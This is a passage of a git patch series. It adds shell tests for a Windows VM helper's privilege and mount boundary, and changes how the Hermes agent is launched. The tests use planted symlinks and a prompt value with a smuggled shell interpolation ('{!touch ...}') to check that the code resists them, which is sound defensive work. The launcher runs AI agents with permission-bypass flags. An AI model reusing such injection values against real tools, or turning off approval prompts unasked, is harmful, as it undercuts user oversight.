$(mount_layer_count "$EXPECTED_SHARED") == 1 ]] || fail "failed containment scan changed mounts" +TREE_SCAN_FIND=$saved_tree_scan_find +TREE_SCAN_TIMEOUT_SECONDS=$saved_tree_scan_timeout +TREE_SCAN_KILL_AFTER_SECONDS=$saved_tree_scan_kill_after +pass "removal scan timeout and errors fail closed without changing VM state" + +# Removal rejects stacks, then deletes disk only through verified binds. +reset_case +prepare_user_mount_sources +write 4G 2 64G remove pw UTC +resolve_caller +touch "$HOME/.windows/disk.img" "$HOME/Windows/keep.txt" +mount --no-canonicalize --bind "$HOME/.windows" "$EXPECTED_STORAGE" +dc() { :; } +docker() { [[ $1 == inspect ]] && return 1; :; } +__priv_remove 2>/dev/null && fail "removal accepted stacked storage mount" +[[ -f $HOME/.windows/disk.img && -f $HOME/Windows/keep.txt && -f $COMPOSE ]] || fail "rejected removal changed state" +umount -- "$EXPECTED_STORAGE" +dc() { return 1; } +__priv_remove 2>/dev/null && fail "removal deleted data after docker-compose down failed" +[[ -f $HOME/.windows/disk.img && -f $HOME/Windows/keep.txt && -f $COMPOSE ]] || fail "failed down changed data or compose" +dc() { :; } +__priv_remove +[[ ! -e $HOME/.windows/disk.img ]] || fail "removal preserved disk data" +[[ -e $HOME/Windows/keep.txt ]] || fail "removal deleted shared data" +[[ ! -f $COMPOSE ]] || fail "removal left compose" +resolve_caller +[[ $(mount_layer_count "$EXPECTED_STORAGE") == 0 && $(mount_layer_count "$EXPECTED_SHARED") == 0 ]] || fail "removal left binds" +pass "removal rejects stacks, deletes disk, and preserves shared files" + +# Credentials replace a planted link rather than following it, and a failed +# atomic rename preserves the last complete private file. +credentials_dir="$TMPDIR/credentials" +CREDENTIALS_FILE="$credentials_dir/credentials" +credentials_victim="$TMPDIR/credentials-victim" +mkdir -m 0755 -p "$credentials_dir" +printf 'victim\n' >"$credentials_victim" +ln -s "$credentials_victim" "$CREDENTIALS_FILE" +write_credentials carol 'p=a$$w"x' +[[ -f $CREDENTIALS_FILE && ! -L $CREDENTIALS_FILE ]] || fail "credentials did not replace a planted symlink" +[[ $(stat -c '%a' "$credentials_dir") == 700 && $(stat -c '%a' "$CREDENTIALS_FILE") == 600 ]] || fail "credentials path is not private" +[[ $(cat "$credentials_victim") == victim ]] || fail "credentials write changed a symlink victim" +[[ $(read_credential USERNAME) == carol && $(read_credential PASSWORD) == 'p=a$$w"x' ]] || fail "credentials did not round-trip" +credentials_before=$(cat "$CREDENTIALS_FILE") +mv() { return 1; } +write_credentials changed replacement 2>/dev/null && fail "forced credentials rename failure succeeded" +unset -f mv +[[ $(cat "$CREDENTIALS_FILE") == "$credentials_before" ]] || fail "failed credentials rename replaced the live file" +! find "$credentials_dir" -name '.credentials.*' -print -quit | grep -q . || fail "failed credentials write left a temporary file" +pass "credentials are atomically replaced as a private regular file" + +# Free-space accounting follows the real storage target. +reset_case +mkdir -p "$external_storage" "$HOME/Windows" +ln -s "$external_storage" "$HOME/.windows" +prepare_user_mount_sources +df_log="$TMPDIR/df-path" +df() { + printf '%s\n' "${!#}" >"$df_log" + printf 'Filesystem 1024-blocks Used Available Capacity Mounted on\nmock 104857600 0 94371840 0%% /mock\n' +} +[[ $(available_storage_gb) == 90 ]] || fail "free-space parsed wrong value" +unset -f df +[[ $(cat "$df_log") == "$external_storage" ]] || fail "free-space used home filesystem" +pass "disk-space checks follow the storage symlink target" diff --git a/test/shell.d/windows-vm-mount-boundary-test.sh b/test/shell.d/windows-vm-mount-boundary-test.sh new file mode 100644 index 00000000..509143b2 --- /dev/null +++ b/test/shell.d/windows-vm-mount-boundary-test.sh @@ -0,0 +1,168 @@ +#!/bin/bash +# Exercise the real EUID-0/PKEXEC_UID boundary in an isolated user+mount namespace. + +set -euo pipefail +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +if ((EUID != 0)); then + if unshare --user --map-auto --map-root-user --mount true 2>/dev/null; then + exec unshare --user --map-auto --map-root-user --mount --propagation private bash "$0" + fi + pass "automatic subordinate-id namespace unavailable; skipping root Windows VM boundary probe" + exit 0 +fi + +test_tmp=$(mktemp -d) +trap 'rm -rf "$test_tmp"' EXIT + +# Hide host state before creating the production paths used by the root helper. +mount -t tmpfs -o mode=0755,size=8m run-test /run +mkdir -p /run/lock +mount -t tmpfs -o mode=0755,size=16m var-test /var +mkdir -p /var/lib/omarchy +mount -t tmpfs -o mode=0755,size=16m home-parent /home +mkdir /home/alice +mount -t tmpfs -o uid=0,gid=0,mode=0710,size=1g home-alice /home/alice + +export HOME=/home/alice +unset OMARCHY_WINDOWS_DIR +set -- help +source "$ROOT/bin/omarchy-windows-vm" >/dev/null 2>&1 + +# The namespace maps the host filesystem's uid 0 to nobody. Only / remains on +# that filesystem; all paths the helper mutates are isolated tmpfs mounts. +stat() { + if [[ ${!#} == / && $* == *"%u"* ]]; then printf '0\n'; return; fi + command stat "$@" +} + +TEST_PASSWD_HOME=/home/alice +getent() { + if [[ $1 == passwd && ${2:-} == 1000 ]]; then + printf 'alice:x:1000:1000::%s:/bin/bash\n' "$TEST_PASSWD_HOME" + return 0 + fi + return 2 +} + +assert_no_runtime_mutation() { + [[ ! -e /var/lib/omarchy/windows && ! -L /var/lib/omarchy/windows ]] || + fail "$1 mutated the production runtime" +} + +unset PKEXEC_UID +resolve_caller 2>/dev/null && fail "root accepted missing PKEXEC_UID" +assert_no_runtime_mutation "missing PKEXEC_UID" +PKEXEC_UID=0 +resolve_caller 2>/dev/null && fail "root accepted PKEXEC_UID=0" +assert_no_runtime_mutation "zero PKEXEC_UID" +PKEXEC_UID=not-a-number +resolve_caller 2>/dev/null && fail "root accepted nonnumeric PKEXEC_UID" +assert_no_runtime_mutation "nonnumeric PKEXEC_UID" +PKEXEC_UID=1001 +resolve_caller 2>/dev/null && fail "root accepted uid absent from passwd" +assert_no_runtime_mutation "missing passwd entry" + +PKEXEC_UID=1000 +resolve_caller 2>/dev/null && fail "root accepted a home not owned by caller" +assert_no_runtime_mutation "wrong-owned home" +chown 1000:1000 /home/alice + +chmod 0777 /home +resolve_caller 2>/dev/null && fail "root accepted writable home parent" +assert_no_runtime_mutation "writable parent" +chmod 0755 /home + +mkdir /home/real-alice +chown 1000:1000 /home/real-alice +ln -s /home/real-alice /home/link-alice +TEST_PASSWD_HOME=/home/link-alice +resolve_caller 2>/dev/null && fail "root accepted symlinked passwd home" +assert_no_runtime_mutation "symlinked home" +TEST_PASSWD_HOME=/home/alice +resolve_caller || fail "valid root PKEXEC_UID/home boundary was rejected" +pass "root dispatch rejects missing/invalid uid, passwd, owner, symlink, and writable-parent boundaries without mutation" + +# Put each familiar source on its own filesystem. Both start with legacy 0755 +# permissions and world-readable payloads to prove migration hardens the leaves. +mkdir /home/storage-target /home/shared-target +mount -t tmpfs -o uid=1000,gid=1000,mode=0755,size=3g storage-test /home/storage-target +mount -t tmpfs -o uid=1000,gid=1000,mode=0755,size=64m shared-test /home/shared-target +ln -s /home/storage-target /home/alice/.windows +ln -s /home/shared-target /home/alice/Windows +chown -h 1000:1000 /home/alice/.windows /home/alice/Windows +printf disk >/home/storage-target/disk.img +printf shared >/home/shared-target/shared.txt +chown 1000:1000 /home/storage-target/disk.img /home/shared-target/shared.txt +chmod 0644 /home/storage-target/disk.img /home/shared-target/shared.txt + +home_dev=$(command stat -Lc '%d' /home/alice) +storage_dev=$(command stat -Lc '%d' /home/storage-target) +[[ $home_dev != "$storage_dev" ]] || fail "storage target did not land on a separate filesystem" + +with_vm_lock prepare_caller_mounts || fail "root could not create verified production bind anchors" +resolve_caller +[[ $(readlink /home/alice/.windows) == /home/storage-target && + $(readlink /home/alice/Windows) == /home/shared-target ]] || fail "root consumed legitimate symlinks" +[[ $(command stat -Lc '%d:%i' "$EXPECTED_STORAGE") == $(command stat -Lc '%d:%i' /home/storage-target) ]] || fail "storage bind identity differs from pinned source" +[[ $(command stat -Lc '%d:%i' "$EXPECTED_SHARED") == $(command stat -Lc '%d:%i' /home/shared-target) ]] || fail "shared bind identity differs from pinned source" +[[ $(command stat -Lc '%d' "$CALLER_DATA_ROOT") != "$storage_dev" ]] || fail "Docker boundary unexpectedly shares the storage filesystem" +[[ $(command stat -Lc '%u:%a' "$MOUNT_ROOT") == 0:711 && + $(command stat -Lc '%u:%a' "$CALLER_DATA_ROOT") == 0:711 ]] || fail "production ancestors are not root-owned/private-boundary modes" +[[ $(command stat -Lc '%u:%a' "$EXPECTED_STORAGE") == 1000:700 && + $(command stat -Lc '%u:%a' "$EXPECTED_SHARED") == 1000:700 ]] || fail "migrated leaves are not caller-owned 0700" +if setpriv --reuid=1001 --regid=1001 --clear-groups cat "$EXPECTED_STORAGE/disk.img" >/dev/null 2>&1; then + fail "another local account read the VM disk through its anchor" +fi +if setpriv --reuid=1001 --regid=1001 --clear-groups cat "$EXPECTED_SHARED/shared.txt" >/dev/null 2>&1; then + fail "another local account read shared files through their anchor" +fi +pass "cross-filesystem symlink sources bind by identity and migrated 0700 leaves deny another account" + +expected_space=$(command df -P -- /home/storage-target | awk 'NR==2 {print int($4/1024/1024)}') +actual_space=$(available_storage_gb) +[[ $actual_space == "$expected_space" ]] || fail "disk-space helper did not measure the storage target filesystem" +[[ $(command df -P -- /home/alice | awk 'NR==2 {print int($4/1024/1024)}') != "$actual_space" ]] || fail "test filesystems do not distinguish home from storage" +pass "disk-space accounting measures the actual storage filesystem, not home" + +# Exercise the real root writer and final guard against the production paths. +printf 'RAM=4G\nCORES=2\nDISK=64G\nUSERNAME=alice\nPASSWORD=pw\nTZ=UTC\n' | + with_vm_lock __priv_write_compose +[[ $(command stat -Lc '%u:%a' "$COMPOSE_FILE") == 0:640 ]] || fail "root compose ownership/mode is wrong" +with_vm_lock assert_mounts_safe || fail "final root mount/compose assertion rejected the verified pair" +pass "root writer and final pre-Docker guard revalidate the pinned production mounts" + +# Upgrade the exact sibling-anchor pair emitted by the earlier fix without +# moving or replacing either familiar home symlink. +sed -i "s|$EXPECTED_STORAGE:/storage|$OLD_EXPECTED_STORAGE:/storage|" "$COMPOSE_FILE" +sed -i "s|$EXPECTED_SHARED:/shared|$OLD_EXPECTED_SHARED:/shared|" "$COMPOSE_FILE" +compose_needs_mount_migration || fail "previous protected anchor pair was not recognized for upgrade" +with_vm_lock assert_mounts_safe || fail "root could not upgrade previous protected anchors" +grep -q -- "- $EXPECTED_STORAGE:/storage" "$COMPOSE_FILE" || fail "upgrade did not rewrite storage anchor" +grep -q -- "- $EXPECTED_SHARED:/shared" "$COMPOSE_FILE" || fail "upgrade did not rewrite shared anchor" +[[ $(readlink /home/alice/.windows) == /home/storage-target ]] || fail "protected-anchor upgrade replaced home storage link" +pass "previous sibling-anchor installs upgrade in place to the fixed /var/lib boundary" + +# Preflight both sources before either bind on a clean anchor pair. +umount "$EXPECTED_SHARED" +umount "$EXPECTED_STORAGE" +rm /home/alice/Windows +ln -s / /home/alice/Windows +chown -h 1000:1000 /home/alice/Windows +with_vm_lock prepare_caller_mounts 2>/dev/null && fail "root accepted a non-caller-owned second source" +[[ $(mount_layer_count "$EXPECTED_STORAGE") == 0 && $(mount_layer_count "$EXPECTED_SHARED") == 0 ]] || fail "failed second-source preflight left a partial bind" +[[ $(readlink /home/alice/Windows) == / ]] || fail "failed preflight consumed or quarantined symlink" +pass "root preflights both sources before mounting either and preserves rejection evidence" + +# mountpoint(1) follows symlinks, so explicitly pin the invariant that even a +# root-planted anchor symlink to the expected mounted source is rejected. +rm /home/alice/Windows +ln -s /home/shared-target /home/alice/Windows +chown -h 1000:1000 /home/alice/Windows +rmdir "$EXPECTED_STORAGE" +ln -s /home/storage-target "$EXPECTED_STORAGE" +storage_id=$(command stat -Lc '%d:%i' /home/storage-target) +mounted_leaf_matches "$EXPECTED_STORAGE" "$storage_id" && fail "symlink mount anchor passed final identity check" +with_vm_lock prepare_caller_mounts 2>/dev/null && fail "root followed a symlink mount anchor" +[[ -L $EXPECTED_STORAGE ]] || fail "rejected anchor symlink was consumed" +pass "final guard rejects a symlink even when it resolves to the expected mounted source" From b609ae235578e648900f7fb9e8f26602c8fd557a Mon Sep 17 00:00:00 2001 From: Spencer Bull Date: Thu, 27 Aug 2026 21:31:17 -0500 Subject: [PATCH 104/336] Keep prompted Hermes sessions interactive Hermes oneshot deliberately exits after answering, which closes the agent terminal. Seed the TUI chat session instead, keep inherited flags after the subcommand for older Hermes parsers, and bind the query as one argument so dash-prefixed prompts remain data. Co-Authored-By: Codex XHigh --- bin/omarchy-agent | 5 ++--- test/shell.d/default-agent-test.sh | 2 ++ 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/bin/omarchy-agent b/bin/omarchy-agent index 426ea85a..80e0f182 100755 --- a/bin/omarchy-agent +++ b/bin/omarchy-agent @@ -87,10 +87,9 @@ codex) [[ -n ${prompt:-} ]] && command+=(-- "$prompt") ;; hermes) - # Hermes has no "start interactive, seeded with this prompt" mode. --oneshot - # answers the prompt and exits, which is the closest it offers. if [[ -n ${prompt:-} ]]; then - command=(hermes --yolo --oneshot "$prompt") + # Keep inherited flags after chat so older Hermes subparsers do not clear them. + command=(hermes chat --yolo --tui "--query=$prompt") else command=(hermes --yolo) fi diff --git a/test/shell.d/default-agent-test.sh b/test/shell.d/default-agent-test.sh index 5b4512f1..d46bbdb2 100644 --- a/test/shell.d/default-agent-test.sh +++ b/test/shell.d/default-agent-test.sh @@ -462,6 +462,7 @@ assert_launch claude claude --permission-mode auto -- "Review this project" assert_launch codex codex --approve-for-me -- "Review this project" assert_launch crush crush run "Review this project" assert_launch grok grok --permission-mode bypassPermissions -- "Review this project" +assert_launch hermes hermes chat --yolo --tui "--query=Review this project" assert_launch agy agy --dangerously-skip-permissions --prompt-interactive "Review this project" assert_launch copilot copilot --allow-all --interactive "Review this project" pass "agent launcher adapts initial prompts for every supported agent" @@ -474,6 +475,7 @@ assert_bypass claude claude --permission-mode auto assert_bypass codex codex --approve-for-me assert_bypass crush crush --yolo assert_bypass grok grok --permission-mode bypassPermissions +assert_bypass hermes hermes --yolo assert_bypass agy agy --dangerously-skip-permissions assert_bypass copilot copilot --allow-all pass "agent launcher skips permission prompts for every supported agent" From 750dde5ed2759816aee0b8bd27fce581fa6466c8 Mon Sep 17 00:00:00 2001 From: Spencer Bull Date: Thu, 27 Aug 2026 22:37:03 -0500 Subject: [PATCH 105/336] Resume prompted Hermes sessions literally Hermes TUI startup queries execute slash, shell, interpolation, and multiline syntax before reaching the model. Run the prompt through literal one-shot mode, read its exact session ID from a private usage report, and resume that session in the TUI so arbitrary prompt text stays data while the conversation remains interactive. Co-Authored-By: Codex XHigh --- bin/omarchy-agent | 3 +- bin/omarchy-agent-hermes | 21 ++++++++ test/shell.d/default-agent-test.sh | 2 +- test/shell.d/hermes-agent-test.sh | 79 ++++++++++++++++++++++++++++++ 4 files changed, 102 insertions(+), 3 deletions(-) create mode 100755 bin/omarchy-agent-hermes create mode 100755 test/shell.d/hermes-agent-test.sh diff --git a/bin/omarchy-agent b/bin/omarchy-agent index 80e0f182..5436ca0b 100755 --- a/bin/omarchy-agent +++ b/bin/omarchy-agent @@ -88,8 +88,7 @@ codex) ;; hermes) if [[ -n ${prompt:-} ]]; then - # Keep inherited flags after chat so older Hermes subparsers do not clear them. - command=(hermes chat --yolo --tui "--query=$prompt") + command=(omarchy-agent-hermes "$prompt") else command=(hermes --yolo) fi diff --git a/bin/omarchy-agent-hermes b/bin/omarchy-agent-hermes new file mode 100755 index 00000000..b40a5e67 --- /dev/null +++ b/bin/omarchy-agent-hermes @@ -0,0 +1,21 @@ +#!/bin/bash + +# omarchy:summary=Seed Hermes literally and resume the resulting interactive session +# omarchy:args= +# omarchy:hidden=true + +set -euo pipefail + +prompt=${1:?usage: omarchy-agent-hermes } +usage=$(mktemp) +trap 'rm -f "$usage"' EXIT + +# TUI startup queries pass through Hermes' slash, shell, and interpolation +# dispatcher. One-shot treats the prompt literally and records its session ID. +HERMES_SESSION_SOURCE=tui hermes --yolo --usage-file "$usage" --oneshot "$prompt" +session_id=$(jq -er '.session_id | strings | select(length > 0)' "$usage") + +rm -f "$usage" +trap - EXIT + +exec hermes chat --yolo --tui --resume "$session_id" diff --git a/test/shell.d/default-agent-test.sh b/test/shell.d/default-agent-test.sh index d46bbdb2..81f3985c 100644 --- a/test/shell.d/default-agent-test.sh +++ b/test/shell.d/default-agent-test.sh @@ -462,7 +462,7 @@ assert_launch claude claude --permission-mode auto -- "Review this project" assert_launch codex codex --approve-for-me -- "Review this project" assert_launch crush crush run "Review this project" assert_launch grok grok --permission-mode bypassPermissions -- "Review this project" -assert_launch hermes hermes chat --yolo --tui "--query=Review this project" +assert_launch hermes omarchy-agent-hermes "Review this project" assert_launch agy agy --dangerously-skip-permissions --prompt-interactive "Review this project" assert_launch copilot copilot --allow-all --interactive "Review this project" pass "agent launcher adapts initial prompts for every supported agent" diff --git a/test/shell.d/hermes-agent-test.sh b/test/shell.d/hermes-agent-test.sh new file mode 100755 index 00000000..37b8de55 --- /dev/null +++ b/test/shell.d/hermes-agent-test.sh @@ -0,0 +1,79 @@ +#!/bin/bash + +set -euo pipefail + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +test_tmp=$(mktemp -d) +trap 'rm -rf "$test_tmp"' EXIT + +mock_bin="$test_tmp/bin" +oneshot_log="$test_tmp/oneshot" +resume_log="$test_tmp/resume" +source_log="$test_tmp/source" +mkdir -p "$mock_bin" + +cat >"$mock_bin/hermes" <<'SH' +#!/bin/bash + +if [[ " $* " == *" --oneshot "* ]]; then + printf '%s\0' "$@" >"$HERMES_TEST_ONESHOT_LOG" + printf '%s' "${HERMES_SESSION_SOURCE:-}" >"$HERMES_TEST_SOURCE_LOG" + + while (( $# )); do + if [[ $1 == "--usage-file" ]]; then + usage=$2 + break + fi + shift + done + + [[ ${HERMES_TEST_ONESHOT_FAIL:-false} == "false" ]] || exit 42 + [[ ${HERMES_TEST_USAGE_FAIL:-false} == "false" ]] && printf '{"session_id":"session-123"}\n' >"$usage" + printf '%s\n' response + exit +fi + +printf '%s\0' "$@" >"$HERMES_TEST_RESUME_LOG" +SH + +chmod +x "$mock_bin/hermes" + +export PATH="$mock_bin:$PATH" +export HERMES_TEST_ONESHOT_LOG="$oneshot_log" +export HERMES_TEST_RESUME_LOG="$resume_log" +export HERMES_TEST_SOURCE_LOG="$source_log" + +sentinel="$test_tmp/hermes-seed-must-stay-literal" +prompt="!Crash /quit {!touch $sentinel}"$'\ntrailing\\' +"$ROOT/bin/omarchy-agent-hermes" "$prompt" >/dev/null + +mapfile -d '' -t oneshot_args <"$oneshot_log" +(( ${#oneshot_args[@]} == 5 )) || fail "Hermes literal seed has five one-shot arguments" +[[ ${oneshot_args[0]} == "--yolo" ]] || fail "Hermes literal seed enables yolo mode" +[[ ${oneshot_args[1]} == "--usage-file" ]] || fail "Hermes literal seed requests the session report" +usage_file=${oneshot_args[2]} +[[ ${oneshot_args[3]} == "--oneshot" && ${oneshot_args[4]} == "$prompt" ]] || + fail "Hermes literal seed remains one argument" +[[ ! -e $usage_file ]] || fail "Hermes literal seed removes its session report" +[[ ! -e $sentinel ]] || fail "Hermes literal seed never executes prompt interpolation" +[[ $(<"$source_log") == "tui" ]] || fail "Hermes literal seed records an interactive session" + +mapfile -d '' -t resume_args <"$resume_log" +[[ ${resume_args[*]} == "chat --yolo --tui --resume session-123" ]] || + fail "Hermes literal seed resumes the exact completed session" +pass "Hermes sends initial prompts literally and resumes their exact session" + +: >"$resume_log" +if HERMES_TEST_ONESHOT_FAIL=true "$ROOT/bin/omarchy-agent-hermes" failure >/dev/null 2>&1; then + fail "Hermes literal seed reports a failed initial turn" +fi +[[ ! -s $resume_log ]] || fail "Hermes literal seed does not resume a failed initial turn" +pass "Hermes does not resume after a failed initial turn" + +: >"$resume_log" +if HERMES_TEST_USAGE_FAIL=true "$ROOT/bin/omarchy-agent-hermes" missing-session >/dev/null 2>&1; then + fail "Hermes literal seed requires a recorded session ID" +fi +[[ ! -s $resume_log ]] || fail "Hermes literal seed does not guess which session to resume" +pass "Hermes resumes only the session recorded by the initial turn" From 288e387a22244a8f98a30c15ee94d048dab2ba18 Mon Sep 17 00:00:00 2001 From: Spencer Bull Date: Thu, 27 Aug 2026 22:50:21 -0500 Subject: [PATCH 106/336] Preserve Hermes session workspace metadata Keep the one-shot session on Hermes' native CLI source so it records the launch directory before the exact session is resumed in the TUI. Co-Authored-By: Codex XHigh --- bin/omarchy-agent-hermes | 2 +- test/shell.d/hermes-agent-test.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/bin/omarchy-agent-hermes b/bin/omarchy-agent-hermes index b40a5e67..28675cae 100755 --- a/bin/omarchy-agent-hermes +++ b/bin/omarchy-agent-hermes @@ -12,7 +12,7 @@ trap 'rm -f "$usage"' EXIT # TUI startup queries pass through Hermes' slash, shell, and interpolation # dispatcher. One-shot treats the prompt literally and records its session ID. -HERMES_SESSION_SOURCE=tui hermes --yolo --usage-file "$usage" --oneshot "$prompt" +hermes --yolo --usage-file "$usage" --oneshot "$prompt" session_id=$(jq -er '.session_id | strings | select(length > 0)' "$usage") rm -f "$usage" diff --git a/test/shell.d/hermes-agent-test.sh b/test/shell.d/hermes-agent-test.sh index 37b8de55..7472e3fc 100755 --- a/test/shell.d/hermes-agent-test.sh +++ b/test/shell.d/hermes-agent-test.sh @@ -57,7 +57,7 @@ usage_file=${oneshot_args[2]} fail "Hermes literal seed remains one argument" [[ ! -e $usage_file ]] || fail "Hermes literal seed removes its session report" [[ ! -e $sentinel ]] || fail "Hermes literal seed never executes prompt interpolation" -[[ $(<"$source_log") == "tui" ]] || fail "Hermes literal seed records an interactive session" +[[ ! -s $source_log ]] || fail "Hermes literal seed preserves native CLI session metadata" mapfile -d '' -t resume_args <"$resume_log" [[ ${resume_args[*]} == "chat --yolo --tui --resume session-123" ]] || From 36353296aad129e81b69a6249c01253c540eecab Mon Sep 17 00:00:00 2001 From: Spencer Bull Date: Thu, 27 Aug 2026 23:01:30 -0500 Subject: [PATCH 107/336] Harden prompted Hermes session handoff Bind option-looking prompts to one-shot mode, require a successful completed usage report before resuming, replay the prompt after first-run setup, and reject Hermes runtimes that lack the session-report capability. Co-Authored-By: Codex XHigh --- bin/omarchy-agent-hermes | 16 +++++++-- bin/omarchy-install-hermes-cli | 39 ++++++++++++++++---- test/shell.d/hermes-agent-test.sh | 59 +++++++++++++++++++++++++++---- test/shell.d/hermes-cli-test.sh | 44 +++++++++++++++++++---- 4 files changed, 138 insertions(+), 20 deletions(-) diff --git a/bin/omarchy-agent-hermes b/bin/omarchy-agent-hermes index 28675cae..eb81495b 100755 --- a/bin/omarchy-agent-hermes +++ b/bin/omarchy-agent-hermes @@ -12,8 +12,20 @@ trap 'rm -f "$usage"' EXIT # TUI startup queries pass through Hermes' slash, shell, and interpolation # dispatcher. One-shot treats the prompt literally and records its session ID. -hermes --yolo --usage-file "$usage" --oneshot "$prompt" -session_id=$(jq -er '.session_id | strings | select(length > 0)' "$usage") +seed_session() { + hermes --yolo --usage-file "$usage" --oneshot="$prompt" +} + +if ! seed_session; then + if jq -e '.failed == true and (.failure | strings | startswith("No inference provider configured."))' "$usage" >/dev/null 2>&1; then + hermes setup + seed_session + else + exit 1 + fi +fi + +session_id=$(jq -er 'select(.completed == true and .failed != true) | .session_id | strings | select(length > 0)' "$usage") rm -f "$usage" trap - EXIT diff --git a/bin/omarchy-install-hermes-cli b/bin/omarchy-install-hermes-cli index 0c2e526e..f3a8614c 100755 --- a/bin/omarchy-install-hermes-cli +++ b/bin/omarchy-install-hermes-cli @@ -55,7 +55,7 @@ desktop_hermes_ready() { # And a marker left behind by an install whose venv has since gone answers # for nothing, so the command has to run, exactly as a foreign one must. - hermes_runs + hermes_prompt_ready } # Whether Hermes is really installed, not merely whether the stub exists. A @@ -88,6 +88,15 @@ hermes_runs() { timeout 15 "$HOME/.local/bin/hermes" --version >/dev/null 2>&1 } +# Prompted Omarchy sessions need Hermes' usage report to identify and validate +# the exact one-shot session before reopening it interactively. +hermes_prompt_ready() { + local help + hermes_runs && + help=$(timeout 15 "$HOME/.local/bin/hermes" --help 2>/dev/null) && + grep -qF -- '--usage-file' <<<"$help" +} + # --owns answers whether the wrapper on PATH is the one this command wrote, so # the migration and Remove Preinstalls do not each carry their own copy of the # marker and drift from it. @@ -101,12 +110,12 @@ if [[ $mode == "--check" ]]; then if desktop_owns_hermes; then if desktop_hermes_ready; then exit 0; else exit 1; fi fi - # A foreign command is ready when it runs; a broken one is not, and since it - # is not ours to replace, nothing this installer does will make it ready. + # A foreign command is ready only when it also supports prompted sessions; + # since it is not ours to replace, nothing this installer does will update it. if foreign_hermes; then - if hermes_runs; then exit 0; else exit 1; fi + if hermes_prompt_ready; then exit 0; else exit 1; fi fi - if installed; then exit 0; else exit 1; fi + if installed && hermes_prompt_ready; then exit 0; else exit 1; fi fi # Hand Hermes over to the app rather than keeping a second copy beside it. @@ -140,15 +149,29 @@ fi # The user already has a hermes of their own. Leave it be: a working one is # what the default agent will run, and a broken one is theirs to fix. if foreign_hermes; then - if hermes_runs; then + if hermes_prompt_ready; then exit 0 fi + if hermes_runs; then + echo "~/.local/bin/hermes does not support the session report Omarchy needs for prompted launches." >&2 + echo "Update it to Hermes Agent 0.18.1 or newer, then run omarchy-install-hermes-cli again." >&2 + exit 1 + fi + echo "~/.local/bin/hermes exists but is not runnable, and it was not installed by Omarchy." >&2 echo "Fix or remove it, then run omarchy-install-hermes-cli again." >&2 exit 1 fi +# An older mise environment may predate the session report. It belongs to this +# installer, so discard only that environment and let the current stub rebuild it. +if installed && ! hermes_prompt_ready; then + echo "Updating Hermes for prompted sessions..." >&2 + mise rm -g "$tool" >/dev/null 2>&1 || true + mise uninstall --all "$tool" >/dev/null 2>&1 || true +fi + mkdir -p "$HOME/.local/bin" rm -f "$HOME/.local/bin/hermes" @@ -194,4 +217,8 @@ chmod +x "$HOME/.local/bin/hermes" # hands Hermes to the GUI has to install it here rather than leave it stubbed. if [[ $mode == "--now" ]]; then "$HOME/.local/bin/hermes" --version + if ! hermes_prompt_ready; then + echo "Hermes installed without the session report Omarchy needs for prompted launches." >&2 + exit 1 + fi fi diff --git a/test/shell.d/hermes-agent-test.sh b/test/shell.d/hermes-agent-test.sh index 7472e3fc..174958d0 100755 --- a/test/shell.d/hermes-agent-test.sh +++ b/test/shell.d/hermes-agent-test.sh @@ -11,12 +11,21 @@ mock_bin="$test_tmp/bin" oneshot_log="$test_tmp/oneshot" resume_log="$test_tmp/resume" source_log="$test_tmp/source" +setup_log="$test_tmp/setup" +setup_marker="$test_tmp/setup-complete" mkdir -p "$mock_bin" cat >"$mock_bin/hermes" <<'SH' #!/bin/bash -if [[ " $* " == *" --oneshot "* ]]; then +if [[ ${1:-} == "setup" ]]; then + printf '%s\0' "$@" >"$HERMES_TEST_SETUP_LOG" + [[ ${HERMES_TEST_SETUP_FAIL:-false} == "false" ]] || exit 43 + touch "$HERMES_TEST_SETUP_MARKER" + exit +fi + +if [[ " $* " == *" --oneshot="* ]]; then printf '%s\0' "$@" >"$HERMES_TEST_ONESHOT_LOG" printf '%s' "${HERMES_SESSION_SOURCE:-}" >"$HERMES_TEST_SOURCE_LOG" @@ -28,8 +37,19 @@ if [[ " $* " == *" --oneshot "* ]]; then shift done + if [[ ${HERMES_TEST_NEEDS_SETUP:-false} == "true" && ! -e $HERMES_TEST_SETUP_MARKER ]]; then + printf '{"session_id":null,"completed":null,"failed":true,"failure":"No inference provider configured. Run hermes model."}\n' >"$usage" + exit 1 + fi + [[ ${HERMES_TEST_ONESHOT_FAIL:-false} == "false" ]] || exit 42 - [[ ${HERMES_TEST_USAGE_FAIL:-false} == "false" ]] && printf '{"session_id":"session-123"}\n' >"$usage" + if [[ ${HERMES_TEST_USAGE_FAIL:-false} == "false" ]]; then + completed=true + failed=false + [[ ${HERMES_TEST_USAGE_INCOMPLETE:-false} == "false" ]] || completed=false + [[ ${HERMES_TEST_USAGE_FAILED:-false} == "false" ]] || failed=true + printf '{"session_id":"session-123","completed":%s,"failed":%s}\n' "$completed" "$failed" >"$usage" + fi printf '%s\n' response exit fi @@ -43,18 +63,19 @@ export PATH="$mock_bin:$PATH" export HERMES_TEST_ONESHOT_LOG="$oneshot_log" export HERMES_TEST_RESUME_LOG="$resume_log" export HERMES_TEST_SOURCE_LOG="$source_log" +export HERMES_TEST_SETUP_LOG="$setup_log" +export HERMES_TEST_SETUP_MARKER="$setup_marker" sentinel="$test_tmp/hermes-seed-must-stay-literal" -prompt="!Crash /quit {!touch $sentinel}"$'\ntrailing\\' +prompt="--help !Crash /quit {!touch $sentinel}"$'\ntrailing\\' "$ROOT/bin/omarchy-agent-hermes" "$prompt" >/dev/null mapfile -d '' -t oneshot_args <"$oneshot_log" -(( ${#oneshot_args[@]} == 5 )) || fail "Hermes literal seed has five one-shot arguments" +(( ${#oneshot_args[@]} == 4 )) || fail "Hermes literal seed has four one-shot arguments" [[ ${oneshot_args[0]} == "--yolo" ]] || fail "Hermes literal seed enables yolo mode" [[ ${oneshot_args[1]} == "--usage-file" ]] || fail "Hermes literal seed requests the session report" usage_file=${oneshot_args[2]} -[[ ${oneshot_args[3]} == "--oneshot" && ${oneshot_args[4]} == "$prompt" ]] || - fail "Hermes literal seed remains one argument" +[[ ${oneshot_args[3]} == "--oneshot=$prompt" ]] || fail "Hermes literal seed binds option-looking prompts as data" [[ ! -e $usage_file ]] || fail "Hermes literal seed removes its session report" [[ ! -e $sentinel ]] || fail "Hermes literal seed never executes prompt interpolation" [[ ! -s $source_log ]] || fail "Hermes literal seed preserves native CLI session metadata" @@ -77,3 +98,29 @@ if 